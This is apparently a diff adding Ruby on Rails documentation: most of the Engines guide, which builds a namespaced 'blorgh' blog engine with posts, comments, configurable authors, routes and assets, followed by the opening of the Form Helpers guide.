+What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/ [...]
+
+Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide.
+
+#### `app` directory
+
+Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `mailers`, `models` and `views` directories that you should be familiar with from an application. The `helpers`, `mailers` and `models` directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine.
+
+Within the `app/assets` directory, there are the `images`, `javascripts` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.
+
+Within the `app/controllers` directory there is a `blorgh` directory and inside that a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.
+
+NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines.
+
+Lastly, the `app/views` directory contains a `layouts` folder which contains a file at `blorgh/application.html.erb` which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file.
+
+If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.
+
+#### `bin` directory
+
+This directory contains one file, `bin/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this:
+
+```bash
+rails g model
+```
+
+Keeping in mind, of course, that anything generated with these commands inside an engine that has `isolate_namespace` inside the `Engine` class will be namespaced.
+
+#### `test` directory
+
+The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file:
+
+```ruby
+Rails.application.routes.draw do
+ mount Blorgh::Engine => "/blorgh"
+end
+```
+
+This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path.
+
+In the test directory there is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory as well. For example, you may wish to create a `test/models` directory for your models tests.
+
+Providing engine functionality
+------------------------------
+
+The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists.
+
+### Generating a post resource
+
+The first thing to generate for a blog engine is the `Post` model and related controller. To quickly generate this, you can use the Rails scaffold generator.
+
+```bash
+$ rails generate scaffold post title:string text:text
+```
+
+This command will output this information:
+
+```
+invoke active_record
+create db/migrate/[timestamp]_create_blorgh_posts.rb
+create app/models/blorgh/post.rb
+invoke test_unit
+create test/models/blorgh/post_test.rb
+create test/fixtures/blorgh/posts.yml
+ route resources :posts
+invoke scaffold_controller
+create app/controllers/blorgh/posts_controller.rb
+invoke erb
+create app/views/blorgh/posts
+create app/views/blorgh/posts/index.html.erb
+create app/views/blorgh/posts/edit.html.erb
+create app/views/blorgh/posts/show.html.erb
+create app/views/blorgh/posts/new.html.erb
+create app/views/blorgh/posts/_form.html.erb
+invoke test_unit
+create test/controllers/blorgh/posts_controller_test.rb
+invoke helper
+create app/helpers/blorgh/posts_helper.rb
+invoke test_unit
+create test/helpers/blorgh/posts_helper_test.rb
+invoke assets
+invoke js
+create app/assets/javascripts/blorgh/posts.js
+invoke css
+create app/assets/stylesheets/blorgh/posts.css
+invoke css
+create app/assets/stylesheets/scaffold.css
+```
+
+The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_posts` rather than the usual `create_posts`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due to the `isolate_namesp [...]
+
+Next, the `test_unit` generator is invoked for this model, generating a model test at `test/models/blorgh/post_test.rb` (rather than `test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` (rather than `test/fixtures/posts.yml`).
+
+After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :posts`, turning the `config/routes.rb` file for the engine into this:
+
+```ruby
+Blorgh::Engine.routes.draw do
+ resources :posts
+end
+```
+
+Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. It also causes the engine's routes to be isolated from those routes that are within the application. The [Routes](#routes) section of
+this guide describes it in details.
+
+Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a test for the controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`).
+
+Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module:
+
+```ruby
+module Blorgh
+ class PostsController < ApplicationController
+ ...
+ end
+end
+```
+
+NOTE: The `ApplicationController` class being inherited from here is the `Blorgh::ApplicationController`, not an application's `ApplicationController`.
+
+The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced:
+
+```ruby
+module Blorgh
+ class PostsHelper
+ ...
+ end
+end
+```
+
+This helps prevent conflicts with any other engine or application that may have a post resource as well.
+
+Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little later.
+
+By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/layouts/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout:
+
+```erb
+<%= stylesheet_link_tag "scaffold" %>
+```
+
+You can see what the engine has so far by running `rake db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/posts` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.
+
+If you'd rather play around in the console, `rails console` will also work just like a Rails application. Remember: the `Post` model is namespaced, so to reference it you must call it as `Blorgh::Post`.
+
+```ruby
+>> Blorgh::Post.find(1)
+=> #<Blorgh::Post id: 1 ...>
+```
+
+One final thing is that the `posts` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine:
+
+```ruby
+root to: "posts#index"
+```
+
+Now people will only need to go to the root of the engine to see all the posts, rather than visiting `/posts`. This means that instead of `http://localhost:3000/blorgh/posts`, you only need to go to `http://localhost:3000/blorgh` now.
+
+### Generating a comments resource
+
+Now that the engine can create new blog posts, it only makes sense to add commenting functionality as well. To do this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
+
+Run the model generator and tell it to generate a `Comment` model, with the related table having two columns: a `post_id` integer and `text` text column.
+
+```bash
+$ rails generate model Comment post_id:integer text:text
+```
+
+This will output the following:
+
+```
+invoke active_record
+create db/migrate/[timestamp]_create_blorgh_comments.rb
+create app/models/blorgh/comment.rb
+invoke test_unit
+create test/models/blorgh/comment_test.rb
+create test/fixtures/blorgh/comments.yml
+```
+
+This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`.
+
+To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link:
+
+```html+erb
+<h3>Comments</h3>
+<%= render @post.comments %>
+```
+
+This line will require there to be a `has_many` association for comments defined on the `Blorgh::Post` model, which there isn't right now. To define one, open `app/models/blorgh/post.rb` and add this line into the model:
+
+```ruby
+has_many :comments
+```
+
+Turning the model into this:
+
+```ruby
+module Blorgh
+ class Post < ActiveRecord::Base
+ has_many :comments
+ end
+end
+```
+
+NOTE: Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here.
+
+Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to `render @post.comments` in `app/views/blorgh/posts/show.html.erb`:
+
+```erb
+<%= render "blorgh/comments/form" %>
+```
+
+Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial:
+
+```html+erb
+<h3>New comment</h3>
+<%= form_for [@post, @post.comments.build] do |f| %>
+ <p>
+ <%= f.label :text %><br />
+ <%= f.text_area :text %>
+ </p>
+ <%= f.submit %>
+<% end %>
+```
+
+When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/posts/:post_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :posts` line inside `config/routes.rb` into these lines:
+
+```ruby
+resources :posts do
+ resources :comments
+end
+```
+
+This creates a nested route for the comments, which is what the form requires.
+
+The route now exists, but the controller that this route goes to does not. To create it, run this command:
+
+```bash
+$ rails g controller comments
+```
+
+This will generate the following things:
+
+```
+create app/controllers/blorgh/comments_controller.rb
+invoke erb
+ exist app/views/blorgh/comments
+invoke test_unit
+create test/controllers/blorgh/comments_controller_test.rb
+invoke helper
+create app/helpers/blorgh/comments_helper.rb
+invoke test_unit
+create test/helpers/blorgh/comments_helper_test.rb
+invoke assets
+invoke js
+create app/assets/javascripts/blorgh/comments.js
+invoke css
+create app/assets/stylesheets/blorgh/comments.css
+```
+
+The form will be making a `POST` request to `/posts/:post_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created and can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
+
+```ruby
+def create
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.create(params[:comment])
+ flash[:notice] = "Comment has been created!"
+ redirect_to posts_path
+end
+```
+
+This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
+
+```
+Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
+ * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
+ * "/Users/ryan/Sites/side_projects/blorgh/app/views"
+```
+
+The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/comment` because the model object it is receiving is from the `Blorgh::Comment` class.
+
+This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it:
+
+```erb
+<%= comment_counter + 1 %>. <%= comment.text %>
+```
+
+The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
+
+That completes the comment function of the blogging engine. Now it's time to use it within an application.
+
+Hooking into an application
+---------------------------
+
+Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for posts and comments within the engine.
+
+### Mounting the engine
+
+First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this:
+
+```bash
+$ rails new unicorn
+```
+
+Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
+
+```ruby
+gem 'devise'
+```
+
+However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`:
+
+```ruby
+gem 'blorgh', path: "/path/to/blorgh"
+```
+
+As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded, as it will first require `lib/blorgh.rb` in the engine and then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine.
+
+To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file:
+
+```ruby
+mount Blorgh::Engine, at: "/blog"
+```
+
+This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `rails server`.
+
+NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as `devise_for` in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
+
+### Engine setup
+
+The engine contains migrations for the `blorgh_posts` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
+
+```bash
+$ rake blorgh_engine:install:migrations
+```
+
+If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead:
+
+```bash
+$ rake railties:install:migrations
+```
+
+This command, when run for the first time, will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:
+
+```bash
+Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
+Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
+```
+
+The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
+
+To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.
+
+If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`:
+
+```bash
+rake db:migrate SCOPE=blorgh
+```
+
+This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code:
+
+```bash
+rake db:migrate SCOPE=blorgh VERSION=0
+```
+
+### Using a class provided by the application
+
+#### Using a model provided by the application
+
+When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making posts and comments have authors would make a lot of sense.
+
+A typical application might have a `User` class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class.
+
+To keep it simple in this case, the application will have a class called `User` which will represent the users of the application. It can be generated using this command inside the application:
+
+```bash
+rails g model user name:string
+```
+
+The `rake db:migrate` command needs to be run here to ensure that our application has the `users` table for future use.
+
+Also, to keep it simple, the posts form will have a new text field called `author_name` where users can elect to put their name. The engine will then take this name and create a new `User` object from it or find one that already has that name, and then associate the post with it.
+
+First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code:
+
+```html+erb
+<div class="field">
+ <%= f.label :author_name %><br />
+ <%= f.text_field :author_name %>
+</div>
+```
+
+The `Blorgh::Post` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that post's `author` before the post is saved. It will also need to have an `attr_accessor` setup for this field so that the setter and getter methods are defined for it.
+
+To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_save` call into `app/models/blorgh/post.rb`. The `author` association will be hard-coded to the `User` class for the time being.
+
+```ruby
+attr_accessor :author_name
+belongs_to :author, class_name: "User"
+
+before_save :set_author
+
+private
+ def set_author
+ self.author = User.find_or_create_by(name: author_name)
+ end
+```
+
+By defining that the `author` association's object is represented by the `User` class a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_posts` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_posts` table.
+
+To generate this new column, run this command within the engine:
+
+```bash
+$ rails g migration add_author_id_to_blorgh_posts author_id:integer
+```
+
+NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.
+
+This migration will need to be run on the application. To do that, it must first be copied using this command:
+
+```bash
+$ rake blorgh:install:migrations
+```
+
+Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run.
+
+```
+NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists.
+NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists.
+Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
+```
+
+Run this migration using this command:
+
+```bash
+$ rake db:migrate
+```
+
+Now with all the pieces in place, an action will take place that will associate an author — represented by a record in the `users` table — with a post, represented by the `blorgh_posts` table from the engine.
+
+Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`:
+
+```html+erb
+<p>
+ <b>Author:</b>
+ <%= @post.author %>
+</p>
+```
+
+By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly:
+
+```
+#<User:0x00000100ccb3b0>
+```
+
+This is undesirable and it would be much better to have the user's name there. To do this, add a `to_s` method to the `User` class within the application:
+
+```ruby
+def to_s
+ name
+end
+```
+
+Now instead of the ugly Ruby object output the author's name will be displayed.
+
+#### Using a controller provided by the application
+
+Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from `ApplicationController`. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers should access methods in the main application's `ApplicationController`. An easy way to provide this access is to change [...]
+
+```ruby
+class Blorgh::ApplicationController < ApplicationController
+end
+```
+
+By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main applications `ApplicationController` as though they were part of the main application.
+
+This change does require that the engine is run from a Rails application that has an `ApplicationController`.
+
+### Configuring an engine
+
+This section covers how to make the `User` class configurable, followed by general configuration tips for the engine.
+
+#### Setting configuration settings in the application
+
+The next step is to make the class that represents a `User` in the application customizable for the engine. This is because, as explained before, that class may not always be `User`. To make this customizable, the engine will have a configuration setting called `author_class` that will be used to specify what the class representing users is inside the application.
+
+To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine, located at `lib/blorgh.rb` inside the engine. Inside this module, put this line:
+
+```ruby
+mattr_accessor :author_class
+```
+
+This method works like its brothers `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.author_class`.
+
+The next step is switching the `Blorgh::Post` model over to this new setting. For the `belongs_to` association inside this model (`app/models/blorgh/post.rb`), it will now become this:
+
+```ruby
+belongs_to :author, class_name: Blorgh.author_class
+```
+
+The `set_author` method also located in this class should also use this class:
+
+```ruby
+self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
+```
+
+To save having to call `constantize` on the `author_class` result all the time, you could instead just override the `author_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result:
+
+```ruby
+def self.author_class
+ @@author_class.constantize
+end
+```
+
+This would then turn the above code for `set_author` into this:
+
+```ruby
+self.author = Blorgh.author_class.find_or_create_by(name: author_name)
+```
+
+Resulting in something a little shorter, and more implicit in its behavior. The `author_class` method should always return a `Class` object.
+
+Since we changed the `author_class` method to no longer return a
+`String` but a `Class` we must also modify our `belongs_to` definition
+in the `Blorgh::Post` model:
+
+```ruby
+belongs_to :author, class_name: Blorgh.author_class.to_s
+```
+
+To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing.
+
+Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it:
+
+```ruby
+Blorgh.author_class = "User"
+```
+
+WARNING: It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on.
+
+Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is.
+
+There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by` method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced.
+
+#### General engine configuration
+
+Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
+
+If you wish to use an initializer — code that should run before the engine is
+loaded — the place for it is the `config/initializers` folder. This directory's
+functionality is explained in the
+[Initializers section](configuring.html#initializers) of the Configuring guide,
+and works precisely the same way as the `config/initializers` directory inside
+an application. Same goes for if you want to use a standard initializer.
+
+For locales, simply place the locale files in the `config/locales` directory, just like you would in an application.
+
+Testing an engine
+-----------------
+
+When an engine is generated there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine.
+
+The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests.
+
+### Functional tests
+
+A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application — the `test/dummy` application — rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this:
+
+```ruby
+get :index
+```
+
+It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must pass the `:use_route` option (as a parameter) on these requests also:
+
+```ruby
+get :index, use_route: :blorgh
+```
+
+This tells the application that you still want to perform a `GET` request to the `index` action of this controller, just that you want to use the engine's route to get there, rather than the application.
+
+Improving engine functionality
+------------------------------
+
+This section explains how to add and/or override engine MVC functionality in the main Rails application.
+
+### Overriding Models and Controllers
+
+Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main application. This is usually implemented by using the decorator pattern.
+
+For simple class modifications use `Class#class_eval`, and for complex class modifications, consider using `ActiveSupport::Concern`.
+
+#### Implementing Decorator Pattern Using Class#class_eval
+
+**Adding** `Post#time_since_created`,
+
+```ruby
+# MyApp/app/decorators/models/blorgh/post_decorator.rb
+
+Blorgh::Post.class_eval do
+ def time_since_created
+ Time.current - created_at
+ end
+end
+```
+
+```ruby
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+ has_many :comments
+end
+```
+
+
+**Overriding** `Post#summary`
+
+```ruby
+# MyApp/app/decorators/models/blorgh/post_decorator.rb
+
+Blorgh::Post.class_eval do
+ def summary
+ "#{title} - #{truncate(text)}"
+ end
+end
+```
+
+```ruby
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+ has_many :comments
+ def summary
+ "#{title}"
+ end
+end
+```
+
+#### Implementing Decorator Pattern Using ActiveSupport::Concern
+
+Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using [`ActiveSupport::Concern`](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html). ActiveSupport::Concern manages load order of interlinked dependent modules and classes at run time allowing you to significantly modularize your code.
+
+**Adding** `Post#time_since_created` and **Overriding** `Post#summary`
+
+```ruby
+# MyApp/app/models/blorgh/post.rb
+
+class Blorgh::Post < ActiveRecord::Base
+ include Blorgh::Concerns::Models::Post
+
+ def time_since_created
+ Time.current - created_at
+ end
+
+ def summary
+ "#{title} - #{truncate(text)}"
+ end
+end
+```
+
+```ruby
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+ include Blorgh::Concerns::Models::Post
+end
+```
+
+```ruby
+# Blorgh/lib/concerns/models/post
+
+module Blorgh::Concerns::Models::Post
+ extend ActiveSupport::Concern
+
+ # 'included do' causes the included code to be evaluated in the
+ # context where it is included (post.rb), rather than be
+ # executed in the module's context (blorgh/concerns/models/post).
+ included do
+ attr_accessor :author_name
+ belongs_to :author, class_name: "User"
+
+ before_save :set_author
+
+ private
+
+ def set_author
+ self.author = User.find_or_create_by(name: author_name)
+ end
+ end
+
+ def summary
+ "#{title}"
+ end
+
+ module ClassMethods
+ def some_class_method
+ 'some class method string'
+ end
+ end
+end
+```
+
+### Overriding views
+
+When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory.
+
+In the `blorgh` engine, there is a currently a file at `app/views/blorgh/posts/index.html.erb`. When the engine is asked to render the view for `Blorgh::PostsController`'s `index` action, it will first see if it can find it at `app/views/blorgh/posts/index.html.erb` within the application and then if it cannot it will look inside the engine.
+
+You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output.
+
+Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it:
+
+```html+erb
+<h1>Posts</h1>
+<%= link_to "New Post", new_post_path %>
+<% @posts.each do |post| %>
+ <h2><%= post.title %></h2>
+ <small>By <%= post.author %></small>
+ <%= simple_format(post.text) %>
+ <hr>
+<% end %>
+```
+
+### Routes
+
+Routes inside an engine are, by default, isolated from the application. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes and they will not clash.
+
+Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this:
+
+```ruby
+Blorgh::Engine.routes.draw do
+ resources :posts
+end
+```
+
+By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `posts_path` may end up going to undesired locations if both the application and the engine both have such a helper defined.
+
+For instance, the following example would go to the application's `posts_path` if that template was rendered from the application, or the engine's `posts_path` if it was rendered from the engine:
+
+```erb
+<%= link_to "Blog posts", posts_path %>
+```
+
+To make this route always use the engine's `posts_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.
+
+```erb
+<%= link_to "Blog posts", blorgh.posts_path %>
+```
+
+If you wish to reference the application inside the engine in a similar way, use the `main_app` helper:
+
+```erb
+<%= link_to "Home", main_app.root_path %>
+```
+
+If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.
+
+If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine.
+
+### Assets
+
+Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up in the engine's `app/assets` and `lib/assets` directories for potential assets.
+
+Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored.
+
+Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css` To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine:
+
+```erb
+<%= stylesheet_link_tag "blorgh/style.css" %>
+```
+
+You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files:
+
+```
+/*
+ *= require blorgh/style
+*/
+```
+
+INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`.
+
+### Separate Assets & Precompiling
+
+There are some situations where your engine's assets are not required by the host application. For example, say that you've created
+an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css`
+or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorg/admin.css"` in it's stylesheets. In this situation, you should explicitly define these assets for precompilation.
+This tells sprockets to add your engine assets when `rake assets:precompile` is ran.
+
+You can define assets for precompilation in `engine.rb`
+
+```ruby
+initializer "blorgh.assets.precompile" do |app|
+ app.config.assets.precompile += %w(admin.css admin.js)
+end
+```
+
+For more information, read the [Asset Pipeline guide](asset_pipeline.html)
+
+### Other gem dependencies
+
+Gem dependencies inside an engine should be specified inside the
+`.gemspec` file at the root of the engine. The reason is that the engine may
+be installed as a gem. If dependencies were to be specified inside the `Gemfile`,
+these would not be recognized by a traditional gem install and so they would not
+be installed, causing the engine to malfunction.
+
+To specify a dependency that should be installed with the engine during a
+traditional `gem install`, specify it inside the `Gem::Specification` block
+inside the `.gemspec` file in the engine:
+
+```ruby
+s.add_dependency "moo"
+```
+
+To specify a dependency that should only be installed as a development
+dependency of the application, specify it like this:
+
+```ruby
+s.add_development_dependency "moo"
+```
+
+Both kinds of dependencies will be installed when `bundle install` is run inside
+the application. The development dependencies for the gem will only be used when
+the tests for the engine are running.
+
+Note that if you want to immediately require dependencies when the engine is
+required, you should require them before the engine's initialization. For example:
+
+```ruby
+require 'other_engine/engine'
+require 'yet_another_engine/engine'
+
+module MyEngine
+ class Engine < ::Rails::Engine
+ end
+end
+```

+Form Helpers
+============
+
+Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails does away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
+
+After reading this guide, you will know:
+
+* How to create search forms and similar kind of generic forms not representing any specific model in your application.
+* How to make model-centric forms for creation and editing of specific database records.
+* How to generate select boxes from multiple types of data.
+* The date and time helpers Rails provides.
+* What makes a file upload form different.
+* Some cases of building forms to external resources.
+* How to build complex forms.
+
+--------------------------------------------------------------------------------
+
+NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference.
+
+
+Dealing with Basic Forms
+------------------------
+
+The most basic form helper is `form_tag`.
+
+```erb
+<%= form_tag do %>
+ Form contents
+<% end %>
+```
+
+When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability):
+
+```html
+<form accept-charset="UTF-8" action="/home/index" method="post">
+ <div style="margin:0;padding:0">
+ <input name="utf8" type="hidden" value="✓" />
+ <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+ </div>
+ Form contents
+</form>
+```
+
